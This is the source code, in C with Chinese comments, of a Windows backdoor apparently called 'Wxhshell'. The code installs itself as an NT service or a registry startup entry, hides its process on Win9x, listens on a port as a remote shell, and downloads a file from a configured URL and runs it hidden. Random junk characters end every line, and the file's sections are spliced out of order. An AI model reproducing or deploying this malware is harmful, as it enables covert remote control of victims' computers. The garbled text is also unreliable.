DWORD AffinityMask; Pgb<;c:4
DWORD BasePriority; 1P&c:n
ULONG UniqueProcessId; R$NH [Tz
ULONG InheritedFromUniqueProcessId; WCU[]A
} PROCESS_BASIC_INFORMATION; Wrt3p-N"D
YpXUYNy
PROCNTQSIP NtQueryInformationProcess; w0VJt<e*
Gv3a<Knn4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~[l2"@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G^oBu^bq~
Xv6z>z.
HANDLE hProcess; = R; 0Ed&b
PROCESS_BASIC_INFORMATION pbi; 8!E$0^)c|
X+Xjf(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pX|\J>u)
if(NULL == hInst ) return 0; 6i, d|
0l{').!_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7w YSP&$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q4Qm:|-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )k=8.j4
[\eUCt F
if (!NtQueryInformationProcess) return 0; }kGJ)zh
miEfxim
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =]&R6P>
if(!hProcess) return 0; NhXTt!S6C
3,W2CN}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Peh(*D{
$0NWX
CloseHandle(hProcess); CQQX7Y\
>\%44ba6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $]!uX&
if(hProcess==NULL) return 0; }[$ C=|>
5c`DkWne%
HMODULE hMod; v~uQ_ae$>
char procName[255]; "\]kK@,
unsigned long cbNeeded; `)!)}PXl
Hk(w\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &EV|knW
*ofK|r
CloseHandle(hProcess); qqLmjDv
ok2$ p
if(strstr(procName,"services")) return 1; // 以服务启动 9^)ochY3
(Sv 7^}j
return 0; // 注册表启动 !G Z2|~f9
} R84g<
2-. g>'W
// 主模块 }mk9-7
int StartWxhshell(LPSTR lpCmdLine) fw'$HV76
{ NhS0D=v6
SOCKET wsl; ~`u?|+*BO
BOOL val=TRUE; m},nKsO
int port=0; wnN@aO6g*
struct sockaddr_in door; 9c4 6|
1DN,
if(wscfg.ws_autoins) Install(); qdjRw#LS^q
coiTVDwA
port=atoi(lpCmdLine); j"yL6Q9P
Xo;J1H
if(port<=0) port=wscfg.ws_port; [P`Q_L,+
Yk6fr~b
WSADATA data; 's(0>i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WOzdYeeG
SG$/v
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kT []^Jtc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y6W3WPs(
door.sin_family = AF_INET; rM/*_0[`d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MuO7_*q'n
door.sin_port = htons(port); `LVXK|m+ $
0`3ey*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z#3wMK~
closesocket(wsl); 76
#
return 1; )|q,RAn
} RHz'Dz>0
VsNqYFHes&
if(listen(wsl,2) == INVALID_SOCKET) { !D7[R'RgY
closesocket(wsl); e(6g|h
return 1; '[{M"S
} 4ehajK
Wxhshell(wsl); &:nWZ!D
WSACleanup(); mAX]m 1s
-P!vCf^{
t
return 0; j}X4#{jgC
^-f5;B`\i
} JU1U=Lu."
_Oh;._PS
// 以NT服务方式启动 _|g(BK2}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xa Yx avq
{ >OBuHqC
DWORD status = 0; U3&*,xeU@H
DWORD specificError = 0xfffffff; I^qk` 5w
>8#(GXnSt
serviceStatus.dwServiceType = SERVICE_WIN32; o.Mb~8Yu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ec)G~?FH
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I,l%6oPa
serviceStatus.dwWin32ExitCode = 0; \4bma<~a
serviceStatus.dwServiceSpecificExitCode = 0; 0 jVuFl
serviceStatus.dwCheckPoint = 0; ?k<wI)JR
serviceStatus.dwWaitHint = 0; GmcxN<
N_=7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F
C2oP,
if (hServiceStatusHandle==0) return; J<H$B +;qR
pz:$n_XC}
status = GetLastError(); 9 %,_G.
if (status!=NO_ERROR) `Z{;
c
{ L` V6\Ix(I
serviceStatus.dwCurrentState = SERVICE_STOPPED; o`DBzC
serviceStatus.dwCheckPoint = 0;
u> %r(
serviceStatus.dwWaitHint = 0; !-|&
serviceStatus.dwWin32ExitCode = status; d9R0P2
serviceStatus.dwServiceSpecificExitCode = specificError; yaa+j8s]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =9LC"eI&|
return; \V7Hi\)
} 3`5?Zgp
%Jq(,u
serviceStatus.dwCurrentState = SERVICE_RUNNING; q}M^i7IE
serviceStatus.dwCheckPoint = 0; C'
o4Su#
serviceStatus.dwWaitHint = 0; 3Nsb@0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ni(D[?mZ
} K}1>n2P
~g;(`g
// 处理NT服务事件,比如:启动、停止 t/u$Ts
VOID WINAPI NTServiceHandler(DWORD fdwControl) \I/l6H>o3
{
i/y+kL
switch(fdwControl) a^)7&|$ E
{ L&Qdb xn
case SERVICE_CONTROL_STOP: UY+~,a
serviceStatus.dwWin32ExitCode = 0; +VAfT\G2
serviceStatus.dwCurrentState = SERVICE_STOPPED; *,_Qdr^F
serviceStatus.dwCheckPoint = 0; nx
$?wxIm
serviceStatus.dwWaitHint = 0; X. UN=lu
{ ]W5s!T_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *O$kF.3q
} @>ONp|}@qI
return; b!PN6<SI
case SERVICE_CONTROL_PAUSE: B>o#eW
serviceStatus.dwCurrentState = SERVICE_PAUSED; >Djv8 0
break; 7>9/bB+TL
case SERVICE_CONTROL_CONTINUE: $*G]6s
serviceStatus.dwCurrentState = SERVICE_RUNNING; <$Q&n{
break; .Uh-Wi[
case SERVICE_CONTROL_INTERROGATE: w44{~[0d4
break; E IsA2 f
}; #v89`$#`2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S;Lqx5Cd
} fdck/|`t
xPq3Sfg`A
// 标准应用程序主函数 ''?.6r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~N>[7I"*
{ %Kw5b ;
?N,a {#w
// 获取操作系统版本 2a (w7/W:
OsIsNt=GetOsVer(); mu=u!by.E
GetModuleFileName(NULL,ExeFile,MAX_PATH); o-("S|A-
Lyt6DvAp"
// 从命令行安装 XFG]%y=/6
if(strpbrk(lpCmdLine,"iI")) Install(); \%mR*J+
8W[QV
// 下载执行文件 :1hp_XfJb
if(wscfg.ws_downexe) { -x:Wp*,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f2uog$Hk
WinExec(wscfg.ws_filenam,SW_HIDE); v9x $`
} `5O<U~'d
[B+o4+K3
if(!OsIsNt) { G\*`EM4
// 如果时win9x,隐藏进程并且设置为注册表启动 nDMNaMYb
HideProc(); JBeC\ \QX
StartWxhshell(lpCmdLine); !CPv{c`|qg
} v?K
XTc%Z
else
lU:z>gC
if(StartFromService()) uQ5NN*C=
// 以服务方式启动 TN7kt]a2
StartServiceCtrlDispatcher(DispatchTable); O<L/m[]
else [<1i[\^
// 普通方式启动 '+f!(teLz
StartWxhshell(lpCmdLine); 'gI58#v
j;VYF
return 0;
Qk Gr{
} G?<L{J2"Q
3|/ ;`KfQ
jdXkU
/n@_Ihx
=========================================== e}(.u1
cK@O)Ko}
:2 QA#
Y^2Ma878
:M1+[FT
I"Ju3o?u
" UF,T
^q%~K{'`-
#include <stdio.h> hy
W4=
#include <string.h> 4JU#3
#include <windows.h> RNl%n}
#include <winsock2.h> s
~(qO|d
#include <winsvc.h> K*7*`6iU
#include <urlmon.h> 5\:#-IYJ
,(OA5%A9zK
#pragma comment (lib, "Ws2_32.lib") ~AjbF(Ad
#pragma comment (lib, "urlmon.lib") $`{}4,5M
G
U0zlG] C
#define MAX_USER 100 // 最大客户端连接数 3|P P+<o
#define BUF_SOCK 200 // sock buffer rH8?GR0<
#define KEY_BUFF 255 // 输入 buffer _q3SR[k+`
)Qw|)='-
#define REBOOT 0 // 重启 ln3x1^!
#define SHUTDOWN 1 // 关机 (0Hhn2JA
kki]6_/n
#define DEF_PORT 5000 // 监听端口 CU lANd"
Fe"0Hp+
#define REG_LEN 16 // 注册表键长度 hYb!RRGn
#define SVC_LEN 80 // NT服务名长度 {7Dc(gNS
}..}]J;To
// 从dll定义API sBwkHsDD
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5C#&vYnq
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r}"Ty
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6CY_8/:zL
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \<